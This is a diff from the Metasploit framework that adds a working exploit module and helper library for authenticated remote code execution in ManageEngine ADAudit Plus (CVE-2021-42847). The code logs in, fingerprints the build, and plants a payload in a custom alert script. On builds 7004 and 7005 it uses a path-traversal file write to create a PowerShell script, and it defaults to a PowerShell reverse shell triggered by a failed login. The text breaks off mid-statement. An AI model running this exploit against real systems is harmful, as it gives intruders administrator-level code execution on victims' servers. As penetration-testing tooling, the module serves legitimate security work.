a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb new file mode 100644 index 0000000000..fab983547a --- /dev/null +++ b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/target_info.rb @@ -0,0 +1,262 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::TargetInfo + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::StatusCodes + include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::URIs + + # Check that a target is likely running ManageEngine ADAudit Plus + # + # @return [Hash] Hash containing a `status` key, which is used to hold a + # status value as an Integer value, a `message` key, which is used + # to hold a message associated with the status value as a String, + # and an optional 'server_response' key, which is used to hold the + # response body (String) received from the server. + def adaudit_plus_target_check + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'method' => 'GET' + }) + + unless res + return { + 'status' => adaudit_plus_status::CONNECTION_FAILED, + 'message' => 'Connection failed.' + } + end + + if res.code == 200 && res.body =~ /<title>ADAudit Plus/ + return { + 'status' => adaudit_plus_status::SUCCESS, + 'message' => 'The target appears to be MangeEngine ADAudit Plus', + 'server_response' => res.body + } + end + + { + 'status' => adaudit_plus_status::UNEXPECTED_REPLY, + 'message' => 'The target does not appear to be MangeEngine ADAudit Plus', + } + end + + # Extract the configured aliases for the configured Active Directory + # domains from a HTTP response body. + # + # @param res_body [String] HTTP response body obtained via a GET request to the ADAudit Plus base path + # @return [Hash] Hash containing a `status` key, which is used to hold a + # status value as an Integer value, a `message` key, which is used + # to hold a message associated with the status value as a String, + # and a 'domain_aliases' key, which holds an Array of Strings for + # the configured domain aliases, or an empty Array if no domain + # aliases were found. + def adaudit_plus_grab_domain_aliases(res_body) + doc = ::Nokogiri::HTML(res_body) + css_dom_name = doc.css('select#domainName')&.first + domain_aliases = [] + + no_domains_response = { + 'status' => adaudit_plus_status::NO_DOMAINS, + 'message' => 'No configured Active Directory domains were found.', + 'domain_aliases' => domain_aliases + } + + return no_domains_response if css_dom_name.blank? + + css_configured_domains = css_dom_name.css('option') + return no_domains_response if css_configured_domains.blank? + + css_configured_domains.each do |domain| + next unless domain&.keys&.include?('value') + value = domain['value'] + domain_aliases << value + end + + return no_domains_response if domain_aliases.empty? + + { + 'status' => adaudit_plus_status::SUCCESS, + 'message' => "Identified #{domain_aliases.length} configured authentication domain(s): #{domain_aliases.join(', ')}", + 'domain_aliases' => domain_aliases + } + end + + # Performs an API call to obtain the configured domains. The adapcsrf + # cookie obtained from this request is necessary to perform + # further authenticated actions. + # + # @param adapcsrf_cookie [String] A valid adapcsrf_cookie obtained via a successful login action + # @param only_get_cookie [Boolean] If this is enabled, the method will only try to obtain an + # 'adapcsrf' cookie that is required to perform API calls. + # @return [Hash] Hash containing a `status` key, which is used to hold a + # status value as an Integer value, an optional `message` key, which is + # used to hold a message associated with the status value as a String, + # an optional `adapcsrf_cookie` key which maps to a String containing the + # adapcsrf cookie to be used for authentication purposes, and an + # optional `configured_domains` key which maps to an Array of Strings, + # each containing a domain name that has been configured to be used by + # the ManageEngine ADAudit Plus target. + def adaudit_plus_grab_configured_domains(adapcsrf_cookie, only_get_cookie = false) + vprint_status('Attempting to obtain the list of configured domains...') unless only_get_cookie + + res = send_request_cgi({ + 'uri' => adaudit_plus_configured_domains_uri, + 'method' => 'POST', + 'keep_cookies' => true, + 'vars_post' => { + 'JSONString' => '{"checkGDPR":true}', + 'adapcsrf' => adapcsrf_cookie.to_s + } + }) + + if only_get_cookie + purpose = 'obtain the adapcsrf cookie required to perform API calls' + else + purpose = 'obtain the list of configured domains' + end + + unless res + return { + 'status' => adaudit_plus_status::CONNECTION_FAILED, + 'message' => "Connection failed while attempting to #{purpose}." + } + end + + # if we didn't get an expected response, we should always return since we won't be able to return the domains and/or a valid cookie + unless res.code == 200 && res.body&.include?('domainFullList') + return { + 'status' => adaudit_plus_status::UNEXPECTED_REPLY, + 'message' => "Unexpected reply while attempting to #{purpose}." + } + end + + # try to obtain the adapcsrf cookie + adapcsrf_cookie = cookie_jar.cookies.select { |k| k.name == 'adapcsrf' }&.first + got_cookie = adapcsrf_cookie && adapcsrf_cookie.value.present? ? true : false + + # if we have no valid cookie there is no point in continuing + unless got_cookie + return { + 'status' => adaudit_plus_status::NO_ACCESS, + 'message' => 'Failed to obtain the adapcsrf cookie required to perform API calls' + } + end + + # if we only wanted to obtain the cookie, we can return here + if only_get_cookie + return { + 'status' => adaudit_plus_status::SUCCESS, + 'message' => 'Obtained the adapcsrf cookie required to perform API calls!', + 'adapcsrf_cookie' => adapcsrf_cookie.value + } + end + + # if we are here, we want to obtain the configured domains as well as the cookie + configured_domains = [] + begin + domain_info = JSON.parse(res.body) + if domain_info && domain_info.include?('domainFullList') && !domain_info['domainFullList'].empty? + domain_full_list = domain_info['domainFullList'] + domain_full_list.each do |domain| + next unless domain.is_a?(Hash) && domain.key?('name') + + domain_name = domain['name'] + next if domain_name.empty? + + configured_domains << domain_name + end + else + print_error('Failed to identify any configured domains.') + end + rescue JSON::ParserError => e + print_error('Failed to identify any configured domains - The server response did not contain valid JSON.') + print_error("Error was: #{e.message}") + end + + if configured_domains.empty? + return { + 'status' => adaudit_plus_status::NO_DOMAINS, + 'message' => 'Failed to obtain the list of configured domains.', + 'adapcsrf_cookie' => adapcsrf_cookie.value + } + end + + print_status("Found #{configured_domains.length} configured domain(s): #{configured_domains.join(', ')}") + { + 'status' => adaudit_plus_status::SUCCESS, + 'message' => 'Obtained the adapcsrf cookie required to perform API calls along with the configured domains!', + 'adapcsrf_cookie' => adapcsrf_cookie.value, + 'configured_domains' => configured_domains + } + end + + # Check the build number for the ADAudit Plus installation + # + # @param adapcsrf_cookie [String] A valid ADAP CSRF cookie for API calls. + # @see adaudit_plus_login The function which can be called to obtain a + # valid CSRF cookie that can be used by this code. + # @return [Hash] Hash containing a `status` key, which is used to hold a + # status value as an Integer value, a `message` key, which is used + # to hold a message associated with the status value as a String, + # and an optional 'build_version' key, which is used to hold an object + # of type Rex::Version if the build number was successfully obtained. + def adaudit_plus_grab_build(adapcsrf_cookie) + vprint_status('Attempting to obtain the ADAudit Plus build number') + + res = send_request_cgi({ + 'uri' => adaudit_plus_license_details_uri, + 'method' => 'POST', + 'keep_cookies' => true, + 'vars_post' => { 'adapcsrf' => adapcsrf_cookie.to_s } + }) + + unless res + return { + 'status' => adaudit_plus_status::CONNECTION_FAILED, + 'message' => 'Connection failed while attempting to obtain the build number.' + } + end + + unless res.code == 200 + return { + 'status' => adaudit_plus_status::UNEXPECTED_REPLY, + 'message' => "Received unexpected HTTP response #{res.code} when attempting to obtain the build number." + } + end + + build = res.body&.scan(/"buildNumber":"(\s*\d{4}\s*)",/)&.flatten&.first + if build.blank? + return { + 'status' => adaudit_plus_status::NO_BUILD_NUMBER, + 'message' => 'No build number was obtained.' + } + end + + unless build.strip =~ /^\d{4}$/ + return { + 'status' => adaudit_plus_status::UNEXPECTED_REPLY, + 'message' => "Received an invalid build number: #{build}" + } + end + + { + 'status' => adaudit_plus_status::SUCCESS, + 'message' => "The target is ADAudit Plus #{build}", + 'build_version' => Rex::Version.new(build) + } + end + + # Check if the GPOWatcherData endpoint is available + # + # @return [Integer] Status code + def gpo_watcher_data_check + res = send_request_cgi({ + 'uri' => adaudit_plus_gpo_watcher_data_uri, + 'method' => 'POST' + }) + + return adaudit_plus_status::CONNECTION_FAILED unless res + return adaudit_plus_status::NO_ACCESS unless res.code == 200 + + adaudit_plus_status::SUCCESS + end +end diff --git a/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/uris.rb b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/uris.rb new file mode 100644 index 0000000000..3faa22765a --- /dev/null +++ b/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/uris.rb @@ -0,0 +1,55 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus::URIs + # Required for target_uri and normalize_uri + include Msf::Exploit::Remote::HttpClient + + # Returns GPOWatcherData endpoint URI on the ManageEngine ADAudit Plus target. + # + # @return [String] ManageEngine ADAudit Plus GPOWatcherData endpoint URI + def adaudit_plus_gpo_watcher_data_uri + normalize_uri(target_uri.path, 'api', 'agent', 'tabs', 'agentGPOWatcherData') + end + + # Returns the Login URI on the ManageEngine ADAudit Plus target. + # + # @return [String] ManageEngine ADAudit Plus Login URI + def adaudit_plus_login_uri + normalize_uri(target_uri.path, 'j_security_check') + end + + # Returns the License Details URI on the ManageEngine ADAudit Plus target. + # + # @return [String] ManageEngine ADAudit Plus License Details URI + def adaudit_plus_license_details_uri + normalize_uri(target_uri.path, 'api', 'json', 'tabs', 'showLicenseDetails') + end + + # Returns the JumpTo.js URI on the ManageEngine ADAudit Plus target. + # + # @return [String] ManageEngine ADAudit Plus JumpTo.js URI + def adaudit_plus_jump_to_js_uri + normalize_uri(target_uri.path, 'adsf', 'js', 'common', 'JumpTo.js') + end + + # Returns the configuredDomainsList URI on the ManageEngine ADAudit Plus target. + # + # @return [String] ManageEngine ADAudit Plus configuredDomainsList URI + def adaudit_plus_configured_domains_uri + normalize_uri(target_uri.path, 'api', 'json', 'configuredDomainsList') + end + + # Returns the jsMessage URI on the ManageEngine ADAudit Plus target. + # + # @return [String] ManageEngine ADAudit Plus jsMessage URI + def adaudit_api_js_message_uri + normalize_uri(target_uri.path, 'api', 'json', 'jsMessage') + end + + # Returns the URI to save alert profiles on the ManageEngine ADAudit Plus target. + # + # @return [String] ManageEngine ADAudit Plus URI to save alert profiles + def adaudit_api_alertprofiles_save_uri + normalize_uri(target_uri.path, 'api', 'json', 'config', 'alertprofiles', 'save') + end +end diff --git a/lib/rex/proto/ms_dtyp.rb b/lib/rex/proto/ms_dtyp.rb index 430ea4525f..00e3a538e2 100644 --- a/lib/rex/proto/ms_dtyp.rb +++ b/lib/rex/proto/ms_dtyp.rb @@ -77,6 +77,11 @@ module Rex::Proto::MsDtyp # weirdly doesn't mention this needs to be 4 byte aligned for us to read it correctly, # which the RubySMB::Dcerpc::Uuid definition takes care of. class MsDtypGuid < RubySMB::Dcerpc::Uuid + def self.random_generate + # Taken from the "D" format as specified in + # https://learn.microsoft.com/en-us/dotnet/api/system.guid.tostring?view=net-7.0 + "{#{Rex::Text.rand_text_hex(8)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(12)}}".downcase + end end # Definitions taken from [2.4.4.1 ACE_HEADER](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/628ebb1d-c509-4ea0-a10f-77ef97ca4586) diff --git a/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb new file mode 100644 index 0000000000..39e4cafe8d --- /dev/null +++ b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb @@ -0,0 +1,606 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'ManageEngine ADAudit Plus Authenticated File Write RCE', + 'Description' => %q{ + This module exploits security issues in ManageEngine ADAudit Plus + prior to 7006 that allow authenticated users to execute arbitrary + code by creating a custom alert profile and leveraging its custom + alert script component. + + The module first runs a few checks to test the provided + credentials, retrieve the configured domain(s) and obtain the + build number of the target ADAudit Plus server. + + If the credentials are valid and the target is + vulnerable, the module creates an alert profile that will be + triggered for any failed login attempt to the configured domain. + + For versions prior to build 7004, the payload is directly inserted + in the custom alert script component of the alert profile. + + For versions 7004 and 7005, the module leverages an arbitrary file + write vulnerability (CVE-2021-42847) to create a Powershell script + in the alert_scripts directory that contains the payload. The name + of this script is then provided as the value for the custom alert + script component of the alert profile. + + This module requires valid credentials for an account with the + privileges to create alert scripts. It has been successfully tested + against ManageEngine ADAudit Plus builds 7003 and 7005 running on + Windows Server 2012 R2. + + Successful exploitation will result in RCE as the user running + ManageEngine ADAudit Plus, which will typically be the local + administrator. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Moon', # CVE-2021-42847 discovery + 'Erik Wynter' # @wyntererik - Additional research and Metasploit module + ], + 'References' => [ + ['CVE', '2021-42847'], + ['URL', 'https://pitstop.manageengine.com/portal/en/community/topic/fix-released-for-a-vulnerability-in-manageengine-adaudit-plus'], + ['URL', 'https://www.manageengine.com/products/active-directory-audit/adaudit-plus-release-notes.html'] + ], + 'Privileged' => true, + 'DisclosureDate' => '2021-10-01', + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'Targets' => [ + [ + 'Windows Command', + { + 'Type' => :win_cmd, + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' + } + } + ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'RPORT' => 8081, + 'WfsDelay' => 5 # triggering the payload may take a bit, let's not be too hasty + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [FIRST_ATTEMPT_FAIL], # This exploit may fail on its first few attempts whilst the remote system is processing alert updates. + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + + register_options([ + OptString.new('TARGETURI', [true, 'The base path to ManageEngine ADAudit Plus', '/']), + OptString.new('AUTH_DOMAIN', [true, 'ADAudit Plus authentication domain (default is ADAuditPlus Authentication)', 'ADAuditPlus Authentication']), + OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']), + OptString.new('PASSWORD', [true, 'Password to authenticate with', 'admin']), + ]) + end + + def auth_domain + datastore['AUTH_DOMAIN'] + end + + def username + datastore['USERNAME'] + end + + def password + datastore['PASSWORD'] + end + + def delete_alert(adapcsrf_cookie) + print_status("Attempting to delete alert profile #{@alert_name}") + # let's try and get the the ID of the alert we want to delete + res_get_alert = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'api', 'json', 'leftTrees', 'getLeftTreeList'), + 'method' => 'POST', + 'keep_cookies' => true, + 'vars_post' => { + 'TAB_ID' => '5', # this cannot be randomized + 'adapcsrf' => adapcsrf_cookie + } + }) + + unless res_get_alert + print_warning("Connection failed when attempting to obtain the alert profile ID #{@alert_name}. Manual cleanup required.") + return + end + + unless res_get_alert.code == 200 && !res_get_alert.body.empty? + print_warning("Received unexpected reply when attempting to obtain the alert profile ID #{@alert_name}. Manual cleanup required.") + return + end + + alert_id = res_get_alert.body&.scan(/modelId":(\d+),"name":"#{@alert_name}/)&.flatten&.first + if alert_id.blank? + print_warning("Failed to obtain the alert profile ID #{@alert_name}. Manual cleanup required.") + return + end + + # delete the alert + res_delete_alert = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'api', 'json', 'config', 'alertprofiles', 'delete'), + 'method' => 'POST', + 'keep_cookies' => true, + 'vars_post' => { + 'data' => { 'ids' => [alert_id] }.to_json, + 'adapcsrf' => adapcsrf_cookie + } + }) + + unless res_delete_alert + print_warning("Connection failed when attempting to delete alert profile #{@alert_name}. Manual cleanup required.") + return + end + + unless res_delete_alert.code == 200 && res_delete_alert.body&.include?('Successfully deleted the alert profile') + print_warning("Received unexpected reply when attempting to delete alert profile #{@alert_name}. Manual cleanup required.") + return + end + + print_good("Successfully deleted alert profile #{@alert_name}") + end + + def create_alert_profile + if @exploit_method == 'cve_2021_42847' + print_status('Attempting to authenticate again in order to retrieve the required cookies.') + # We have to authenticate again in order to get the required cookie, so reset the cookie cache + cookie_jar.clear + login_results = adaudit_plus_login(auth_domain, username, password, true) + login_msg = login_results['message'] + case login_results['status'] + when adaudit_plus_status::CONNECTION_FAILED + fail_with(Failure::Unreachable, login_msg) + when adaudit_plus_status::UNEXPECTED_REPLY + fail_with(Failure::UnexpectedReply, login_msg) + when adaudit_plus_status::NO_ACCESS + fail_with(Failure::NoAccess, login_msg) + when adaudit_plus_status::SUCCESS + # just to distinguish it from any other potential statuses this method may return in the future + else + # this covers other potential statuses that this method may return in the future + # note that here the login method should never return adaudit_plus_status::NO_DOMAINS + # however, if it would do so due to some library change, treating it as an unknown failure makes sense + fail_with(Failure::Unknown, login_msg) + end + + # Code must have been a success related code so we should have + # an adapcsrf_cookie entry within the login results hash. + @adapcsrf_cookie = login_results['adapcsrf_cookie'] + end + + print_status('Attempting to create an alert profile') + # visit /api/json/jsMessage to see if we're dealing with 7003 or lower + res_check_7004 = send_request_cgi({ + 'uri' => adaudit_api_js_message_uri, + 'method' => 'POST', + 'keep_cookies' => true, + 'vars_post' => { 'adapcsrf' => @adapcsrf_cookie } + }) + + unless res_check_7004 + fail_with(Failure::Unreachable, 'Connection failed when trying to get the required info via /api/json/jsMessage') + end + + unless res_check_7004.code == 200 && res_check_7004.body&.include?('adap_common_script_info') + fail_with(Failure::UnexpectedReply, 'Received unexpected response when trying to get the required info via /api/json/jsMessage') + end + + alert_script_7004_msg = 'Your alert profile script path configuration is not compliant with the constraints listed below and needs to '\ + 'be changed. These constraints have been introduced in the latest build of ADAudit Plus 7004, to enhance security' + + if res_check_7004.body&.include?(alert_script_7004_msg) + # we are dealing with 7004 or higher, so exploitation can only succeed if the target is vulnerable to CVE-2021-42847 + unless @exploit_method == 'cve_2021_42847' + # let's check for the CVE-2021-42847 endpoint in case the user has disabled autocheck + gpo_watcher_status = gpo_watcher_data_check + if gpo_watcher_status == adaudit_plus_status::SUCCESS + @exploit_method = 'cve_2021_42847' + else + fail_with(Failure::NotVulnerable, 'The target is build 7004 or up and not vulnerable to CVE-2021-42847. Exploitation is not possible.') + end + + # here we have to authenticate again in order to get the required adapcsrf cookie + cookie_jar.clear + login_results = adaudit_plus_login(auth_domain, username, password, true) + login_msg = login_results['message'] + case login_results['status'] + when adaudit_plus_status::CONNECTION_FAILED + fail_with(Failure::Unreachable, login_msg) + when adaudit_plus_status::UNEXPECTED_REPLY + fail_with(Failure::UnexpectedReply, login_msg) + when adaudit_plus_status::NO_ACCESS + fail_with(Failure::NoAccess, login_msg) + when adaudit_plus_status::SUCCESS + # just to distinguish it from any other potential statuses this method may return in the future + else + fail_with(Failure::Unknown, login_msg) + end + + @adapcsrf_cookie = login_results['adapcsrf_cookie'] + end + + # We need to leverage CVE-2021-42847 to create a PowerShell script in /alert_scripts and then use the script name + # when creating the alert profile. Therefore call the function to create this alert script and save the name of the + # script location. + @ps1_script_name = create_alert_script + end + + # save the alert profile + @alert_name, alert_data = alert_profile_info + res_save_alert = send_request_cgi({ + 'uri' => adaudit_api_alertprofiles_save_uri, + 'method' => 'POST', + 'keep_cookies' => true, + 'vars_post' => { + 'data' => alert_data, + 'adapcsrf' => @adapcsrf_cookie + } + }) + + unless res_save_alert + fail_with(Failure::Unreachable, "Connection failed when trying to create an alert profile via #{adaudit_api_alertprofiles_save_uri}") + end + + unless res_save_alert.code == 200 && res_save_alert.body&.include?('Successfully Saved the Alert Profile') + print_error("The server sent the following response: #{res_save_alert.body&.strip}") + @alert_name = nil # if we are here the alert profile was not created so let's skip cleanup by setting @alert_name to nil + fail_with(Failure::UnexpectedReply, "Failed to create an alert profile via #{adaudit_api_alertprofiles_save_uri}") + end + + print_good("Successfully created alert profile #{@alert_name}") + end + + def alert_profile_info + script_location = @ps1_script_name || payload.encoded + + alert_name = rand_text_alphanumeric(8..12) + alert_data = { + 'alertName' => alert_name, + 'alertDescription' => rand_text_alpha(20..30), + 'alertSeverity' => '1', + 'alertMsg' => '%FORMAT_MESSAGE%', + 'alertIsMailNotify' => false, + 'alertIsSMSNotify' => false, + 'monitorList' => [1], + 'selectedCategory' => 'All', + 'domainName' => @domain, + 'isSave' => true, + 'alertProfileId' => 'new', + 'thresholdBasedAlert' => false, + 'thresholdCount' => rand(5..15), + 'thresholdPeriod' => '=', + 'thresholdInterval' => rand(3..10), + 'thresholdGroupingColumns' => [], + 'throttleBasedAlert' => false, + 'throttleInterval' => rand(30..90), + 'throttleGroupingColumns' => [], + 'userMap' => {}, + 'hourBasedAlert' => false, + 'contentType' => 'html', + 'alertMsgNeeded' => true, + 'alertProfileNameNeeded' => true, + 'mailAlertLink' => '', + 'eventDetails' => true, + 'emailMoreRecipients' => '', + 'smsMoreRecipients' => '', + 'scriptLocation' => script_location, + 'alertFilter' => false, + 'criteriaValue' => '-' + }.to_json + + # we need to send along the alert name too since we'll need it to delete the alert after it's been created + [alert_name, alert_data] + end + + def create_alert_script + ps1_script_name = "#{rand_text_alpha_lower(5..10)}.ps1" + print_status("Attempting to write the payload to /alert_scripts/#{ps1_script_name}") + + if @domain.blank? + @domain = "#{rand_text_alpha_lower(5..10)}.local" + vprint_status("Using domain #{@domain} for the name of the directory we will be creating") + end + + gpo_post_data = { + 'DOMAIN_NAME' => @domain, + 'Html_fileName' => "..\\..\\..\\..\\..\\alert_scripts\\#{ps1_script_name}", # the traversal path to alert_scripts should always be correct no matter where ADAudit Plus is installed + 'htmlReport' => payload.encoded + } + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => adaudit_plus_gpo_watcher_data_uri, + 'ctype' => 'application/json', + 'data' => generate_gpo_watcher_data_json(gpo_post_data) + }) + + unless res + fail_with(Failure::Unreachable, 'Connection failed') + end + + unless res.code == 200 && res.body&.include?('{"success":true}') + fail_with(Failure::UnexpectedReply, 'Failed to upload the payload.') + end + + print_good("Successfully wrote the payload to /alert_scripts/#{ps1_script_name} in the ManageEngine ADAudit Plus install directory") + ps1_script_name + end + + def check + target_check_results = adaudit_plus_target_check + target_check_msg = target_check_results['message'] + case target_check_results['status'] + when adaudit_plus_status::CONNECTION_FAILED + return CheckCode::Unknown(target_check_msg) + when adaudit_plus_status::UNEXPECTED_REPLY + return CheckCode::Safe(target_check_msg) + when adaudit_plus_status::SUCCESS + vprint_status(target_check_msg) + else + # this covers cases that may be added in the future + return CheckCode::Unknown(target_check_msg) + end + + target_check_res = target_check_results['server_response'] + + # In order to trigger the final payload in the exploit method, we will need to send an authentication request to + # ADAudit Plus with incorrect Active Directory credentials if the user didn't provide an Active Directory domain, + # we can try to extract the FQDN for a configured domain from the server response + domain_alias_results = adaudit_plus_grab_domain_aliases(target_check_res) + domain_alias_msg = domain_alias_results['message'] + if domain_alias_results['status'] == adaudit_plus_status::NO_DOMAINS + return CheckCode::Safe(domain_alias_msg) + end + + domain_aliases = domain_alias_results['domain_aliases'] + # check if we actually have any configured domain aliases now, otherwise the target isn't exploitable + if domain_aliases.blank? + return CheckCode::Safe('Failed to verify if any Active Directory domains are configured on the target.') + end + + # if the only configured domain is the default domain, we will not be able to trigger the payload, so + # stop as there is no point in proceeding + if domain_aliases == ['ADAuditPlus Authentication'] + return CheckCode::Safe('No Active Directory domains are configured on the target, so the module will not be able to trigger the payload.') + end + + # set the domain alias to the first configured domain, unless the user provided an invalid domain + # in the latter case, the module won't be able to authenticate to the target so there's no point in proceeding + if auth_domain == 'ADAuditPlus Authentication' || domain_aliases.include?(auth_domain) + vprint_status(domain_alias_msg) + @domain_alias = domain_aliases.first + print_status("Using configured authentication domain alias #{@domain_alias}.") + else + # this means the user provided an authentication domain that isn't actually configured on the target, so authentication cannot succeed + print_status(domain_alias_msg) + return CheckCode::Detected("The provided AUTH_DOMAIN #{auth_domain} does not match the configured authentication domain(s).") + end + + print_status("Attempting to authenticate to #{auth_domain} with username: #{username} and password: #{password}") + login_results = adaudit_plus_login(auth_domain, username, password, false) + login_msg = login_results['message'] + case login_results['status'] + when adaudit_plus_status::CONNECTION_FAILED, adaudit_plus_status::UNEXPECTED_REPLY + return CheckCode::Unknown(login_msg) + when adaudit_plus_status::NO_ACCESS, NO_DOMAINS + # if we cannot authenticate, we can't create an alert profile so exploitation is impossible + # if no domains are configured, we cannot trigger the payload and therefore exploitation is impossible + return CheckCode::Safe(login_msg) + when adaudit_plus_status::SUCCESS + @domain = login_results['configured_domains'].first + vprint_status("Using domain #{@domain} for the name of the directory we will be creating") + end + + print_good('Successfully authenticated') + @adapcsrf_cookie = login_results['adapcsrf_cookie'] + + # check the build version to see if we can actually exploit the target + build_results = adaudit_plus_grab_build(@adapcsrf_cookie) + build_msg = build_results['message'] + unless build_results['status'] == adaudit_plus_status::SUCCESS + # if we don't get a valid build number, we don't know what the target is, so we can't proceed + # however, we can also not say that the target is safe or detected, so we return Unknown + return CheckCode::Unknown(build_msg) + end + + build_version = build_results['build_version'] + + if build_version < Rex::Version.new('7004') + @exploit_method = 'default' + CheckCode::Appears("The target is ADAudit Plus #{build_version}") + # For builds 7004 and 7005 exploitation will still be possible via CVE-2021-42847 if the vulnerable endpoint exists + elsif build_version < Rex::Version.new('7006') + gpo_watcher_status = gpo_watcher_data_check + case gpo_watcher_status + when adaudit_plus_status::SUCCESS + @exploit_method = 'cve_2021_42847' + return CheckCode::Appears("The target is ADAudit Plus #{build_version} and the endpoint for CVE-2021-42847 exists.") + when adaudit_plus_status::CONNECTION_FAILED + return CheckCode::Detected("The target is ADAudit Plus #{build_version} but the connection failed when checking for the CVE-2021-42847 endpoint") + when adaudit_plus_status::NO_ACCESS + return CheckCode::Safe("The target is ADAudit Plus #{build_version} but the endpoint for CVE-2021-42847 is not accessible.") + end + else + CheckCode::Safe("The target is ADAudit Plus #{build_version}") + end + end + + def exploit + if @exploit_method.nil? # this means the user has disabled autocheck so we should try the default exploit method + @exploit_method = 'default' + elsif @exploit_method == 'cve_2021_42847' && datastore['PAYLOAD'] =~ /meterpreter/ + print_warning('Exploitation is possible only via CVE-2021-42847. This attack vector may fail in combination with a meterpreter payload.') + print_warning('If exploitation fails, consider setting the payload back to the default cmd/windows/powershell_reverse_tcp payload') + end + + if @adapcsrf_cookie.blank? + # let's clear the cookie jar and try to authenticate + cookie_jar.clear + print_status("Attempting to authenticate to #{@domain_alias} with username: #{username} and password: #{password}") + login_results = adaudit_plus_login(auth_domain, username, password, false) + login_msg = login_results['message'] + case login_results['status'] + when adaudit_plus_status::CONNECTION_FAILED + fail_with(Failure::Unreachable, login_msg) + when adaudit_plus_status::UNEXPECTED_REPLY + fail_with(Failure::UnexpectedReply, login_msg) + when adaudit_plus_status::NO_ACCESS + fail_with(Failure::NoAccess, login_msg) + when adaudit_plus_status::NO_DOMAINS + fail_with(Failure::NotVulnerable, login_msg) + when adaudit_plus_status::SUCCESS + @domain = login_results['configured_domains'].first + vprint_status("Using domain #{@domain} for the name of the directory we will be creating") + else + # this covers other potential statuses that may be added in the future + fail_with(Failure::Unknown, login_msg) + end + + print_good('Successfully authenticated') + @adapcsrf_cookie = login_results['adapcsrf_cookie'] + end + + # let's create the alert profile + create_alert_profile + + # time to trigger the payload + if @domain_alias.nil? + # this means check didn't run, so we need to obtain the configured Active Directory domains + target_check_results = adaudit_plus_target_check + target_check_status = target_check_results['status'] + target_check_msg = target_check_results['message'] + unless target_check_status == adaudit_plus_status::SUCCESS + print_error('Failed to obtain the configured Active Directory domain aliases') + case target_check_status + when adaudit_plus_status::CONNECTION_FAILED + fail_with(Failure::Unreachable, target_check_msg) + when adaudit_plus_status::UNEXPECTED_REPLY + fail_with(Failure::UnexpectedReply, target_check_msg) + else + # this covers other potential statuses that this method may return in the future + fail_with(Failure::Unknown, target_check_msg) + end + end + + target_check_res = target_check_results['server_response'] + fail_with(Failure::UnexpectedReply, 'No body in the server response when performing a target version check!') if target_check_res.body.blank? + + # In order to trigger the final payload in the exploit method, we will need to send an authentication request to + # ADAudit Plus with incorrect Active Directory credentials. If the user didn't provide an Active Directory domain, + # we can try to extract the FQDN for a configured domain from the server response. + domain_alias_results = adaudit_plus_grab_domain_aliases(target_check_res.body) + domain_alias_msg = domain_alias_results['message'] + case domain_alias_results['status'] + when adaudit_plus_status::NO_DOMAINS + fail_with(Failure::NotVulnerable, domain_alias_msg) + when adaudit_plus_status::SUCCESS + # make sure we actually have a domain alias, otherwise the target is not vulnerable + if domain_alias_results['domain_aliases'].blank? + fail_with(Failure::NotVulnerable, 'Failed to verify if any Active Directory domains are configured on the target.') + end + else + fail_with(Failure::Unknown, domain_alias_msg) + end + + domain_aliases = domain_alias_results['domain_aliases'] + # if the only configured domain is the default domain, we will not be able to trigger the payload, so there is no point to proceed + if domain_aliases == ['ADAuditPlus Authentication'] + fail_with(Failure::NoTarget, 'No Active Directory domains are configured on the target, so the module will not be able to trigger the payload.') + end + + # set the domain alias to the first configured domain, unless the user provided an invalid domain + # in the latter case, the module won't be able to authenticate to the target so there's no point to proceed + if auth_domain == 'ADAuditPlus Authentication' || domain_aliases&.include?(auth_domain) + vprint_status(domain_alias_msg) + @domain_alias = domain_aliases.first + print_status("Using configured authentication domain alias #{@domain_alias}.") + else + # this means the user provided an authentication domain that isn't actually configured on the target, so authentication cannot succeed + print_status(domain_alias_msg) + fail_with(Failure::BadConfig, "The provided AUTH_DOMAIN #{auth_domain} does not match the configured authentication domain(s).") + end + end + + print_status("Attempting to trigger the payload via an authentication attempt for domain #{@domain_alias} using incorrect credentials.") + login_results = adaudit_plus_login(@domain_alias, rand_text_alphanumeric(5..8), rand_text_alphanumeric(8..12), true) + login_msg = login_results['message'] + manual_trigger_msg = "You can try to manually trigger the payload via a failed login attempt for the #{@domain_alias} domain." + case login_results['status'] + when adaudit_plus_status::CONNECTION_FAILED + fail_with(Failure::Unreachable, "#{login_msg} #{manual_trigger_msg}") + when adaudit_plus_status::UNEXPECTED_REPLY + fail_with(Failure::UnexpectedReply, 